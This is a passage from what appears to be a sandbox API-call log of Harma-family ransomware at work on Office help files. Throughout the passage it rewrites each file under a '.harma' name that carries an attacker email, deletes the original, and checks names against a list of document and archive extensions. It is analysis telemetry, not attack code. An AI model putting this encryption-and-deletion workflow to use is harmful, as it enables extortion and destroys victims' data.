lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x281, lpOverlapped=0x0) returned 1 [0162.932] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x290, lpOverlapped=0x0) returned 1 [0162.934] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.934] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0162.934] SetEndOfFile (hFile=0x338) returned 1 [0162.934] CloseHandle (hObject=0x338) returned 1 [0162.934] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.934] SetEndOfFile (hFile=0x3a4) returned 1 [0162.937] CloseHandle (hObject=0x3a4) returned 1 [0162.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.942] lstrlenW (lpString=".doc") returned 4 [0162.942] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0162.942] lstrlenW (lpString=".docx") returned 5 [0162.942] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0162.942] lstrlenW (lpString=".pdf") returned 4 [0162.942] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0162.943] lstrlenW (lpString=".xls") returned 4 [0162.943] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0162.943] lstrlenW (lpString=".xlsx") returned 5 [0162.943] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0162.943] lstrlenW (lpString=".ppt") returned 4 [0162.943] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0162.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.943] lstrlenW (lpString=".zip") returned 4 [0162.943] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0162.943] lstrlenW (lpString=".rar") returned 4 [0162.943] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0162.943] lstrlenW (lpString=".bz2") returned 4 [0162.943] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0162.943] lstrlenW (lpString=".7z") returned 3 [0162.943] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0162.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.943] lstrlenW (lpString=".dbf") returned 4 [0162.943] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0162.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.943] lstrlenW (lpString=".1cd") returned 4 [0162.943] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0162.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.943] lstrlenW (lpString=".jpg") returned 4 [0162.943] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0162.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.944] lstrlenW (lpString=".doc") returned 4 [0162.944] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0162.944] lstrlenW (lpString=".docx") returned 5 [0162.944] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0162.944] lstrlenW (lpString=".pdf") returned 4 [0162.944] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0162.944] lstrlenW (lpString=".xls") returned 4 [0162.944] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0162.944] lstrlenW (lpString=".xlsx") returned 5 [0162.944] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0162.944] lstrlenW (lpString=".ppt") returned 4 [0162.944] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0162.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.944] lstrlenW (lpString=".zip") returned 4 [0162.944] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0162.944] lstrlenW (lpString=".rar") returned 4 [0162.944] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0162.944] lstrlenW (lpString=".bz2") returned 4 [0162.944] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0162.944] lstrlenW (lpString=".7z") returned 3 [0162.944] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0162.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.944] lstrlenW (lpString=".dbf") returned 4 [0162.944] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0162.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.945] lstrlenW (lpString=".1cd") returned 4 [0162.945] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0162.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0162.945] lstrlenW (lpString=".jpg") returned 4 [0162.945] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0162.945] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0162.945] lstrlenW (lpString="VISIO.DEV_K_COL.HXK") returned 19 [0162.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.946] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0162.946] CloseHandle (hObject=0x3a4) returned 1 [0162.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 0x20 [0162.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.947] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.947] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0162.948] GetLastError () returned 0x0 [0162.948] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0162.949] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0162.951] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.951] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0162.951] SetEndOfFile (hFile=0x338) returned 1 [0162.951] CloseHandle (hObject=0x338) returned 1 [0162.951] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.951] SetEndOfFile (hFile=0x3a4) returned 1 [0162.955] CloseHandle (hObject=0x3a4) returned 1 [0163.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 1 [0164.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.211] lstrlenW (lpString=".doc") returned 4 [0164.211] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.211] lstrlenW (lpString=".docx") returned 5 [0164.211] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.211] lstrlenW (lpString=".pdf") returned 4 [0164.211] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.211] lstrlenW (lpString=".xls") returned 4 [0164.211] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.211] lstrlenW (lpString=".xlsx") returned 5 [0164.211] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.211] lstrlenW (lpString=".ppt") returned 4 [0164.211] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.211] lstrlenW (lpString=".zip") returned 4 [0164.211] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.211] lstrlenW (lpString=".rar") returned 4 [0164.211] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.211] lstrlenW (lpString=".bz2") returned 4 [0164.211] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.211] lstrlenW (lpString=".7z") returned 3 [0164.211] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.212] lstrlenW (lpString=".dbf") returned 4 [0164.212] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.212] lstrlenW (lpString=".1cd") returned 4 [0164.212] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.212] lstrlenW (lpString=".jpg") returned 4 [0164.212] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.212] lstrlenW (lpString=".doc") returned 4 [0164.212] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.212] lstrlenW (lpString=".docx") returned 5 [0164.212] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.212] lstrlenW (lpString=".pdf") returned 4 [0164.212] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.212] lstrlenW (lpString=".xls") returned 4 [0164.212] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.212] lstrlenW (lpString=".xlsx") returned 5 [0164.212] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.212] lstrlenW (lpString=".ppt") returned 4 [0164.212] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.213] lstrlenW (lpString=".zip") returned 4 [0164.213] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.213] lstrlenW (lpString=".rar") returned 4 [0164.213] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.213] lstrlenW (lpString=".bz2") returned 4 [0164.213] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.213] lstrlenW (lpString=".7z") returned 3 [0164.213] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.213] lstrlenW (lpString=".dbf") returned 4 [0164.213] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.213] lstrlenW (lpString=".1cd") returned 4 [0164.213] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0164.213] lstrlenW (lpString=".jpg") returned 4 [0164.213] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.213] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0164.213] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXT") returned 24 [0164.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0164.214] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=216) returned 1 [0164.214] CloseHandle (hObject=0x368) returned 1 [0164.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 0x20 [0164.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0164.215] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.215] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.216] GetLastError () returned 0x0 [0164.216] ReadFile (in: hFile=0x368, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xd8, lpOverlapped=0x0) returned 1 [0164.218] WriteFile (in: hFile=0x364, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0164.219] ReadFile (in: hFile=0x368, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0164.219] WriteFile (in: hFile=0x364, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x104, lpOverlapped=0x0) returned 1 [0164.219] SetEndOfFile (hFile=0x364) returned 1 [0164.219] CloseHandle (hObject=0x364) returned 1 [0164.219] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.219] SetEndOfFile (hFile=0x368) returned 1 [0164.223] CloseHandle (hObject=0x368) returned 1 [0164.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 1 [0164.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.224] lstrlenW (lpString=".doc") returned 4 [0164.224] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.224] lstrlenW (lpString=".docx") returned 5 [0164.224] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.224] lstrlenW (lpString=".pdf") returned 4 [0164.224] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.224] lstrlenW (lpString=".xls") returned 4 [0164.224] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.224] lstrlenW (lpString=".xlsx") returned 5 [0164.224] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.224] lstrlenW (lpString=".ppt") returned 4 [0164.225] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.225] lstrlenW (lpString=".zip") returned 4 [0164.225] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.225] lstrlenW (lpString=".rar") returned 4 [0164.225] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.225] lstrlenW (lpString=".bz2") returned 4 [0164.225] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.225] lstrlenW (lpString=".7z") returned 3 [0164.225] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.225] lstrlenW (lpString=".dbf") returned 4 [0164.225] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.225] lstrlenW (lpString=".1cd") returned 4 [0164.225] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.225] lstrlenW (lpString=".jpg") returned 4 [0164.225] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.226] lstrlenW (lpString=".doc") returned 4 [0164.226] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.226] lstrlenW (lpString=".docx") returned 5 [0164.226] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.226] lstrlenW (lpString=".pdf") returned 4 [0164.226] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.226] lstrlenW (lpString=".xls") returned 4 [0164.226] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.226] lstrlenW (lpString=".xlsx") returned 5 [0164.226] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.226] lstrlenW (lpString=".ppt") returned 4 [0164.226] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.226] lstrlenW (lpString=".zip") returned 4 [0164.226] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.226] lstrlenW (lpString=".rar") returned 4 [0164.226] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.226] lstrlenW (lpString=".bz2") returned 4 [0164.226] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.226] lstrlenW (lpString=".7z") returned 3 [0164.226] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.226] lstrlenW (lpString=".dbf") returned 4 [0164.226] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.227] lstrlenW (lpString=".1cd") returned 4 [0164.227] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0164.227] lstrlenW (lpString=".jpg") returned 4 [0164.227] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.227] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.227] lstrlenW (lpString="VISIO.SHAPESHEET_F_COL.HXK") returned 26 [0164.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0164.228] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=114) returned 1 [0164.228] CloseHandle (hObject=0x368) returned 1 [0164.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 0x20 [0164.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0164.229] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.229] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.230] GetLastError () returned 0x0 [0164.230] ReadFile (in: hFile=0x368, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x72, lpOverlapped=0x0) returned 1 [0164.231] WriteFile (in: hFile=0x364, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, 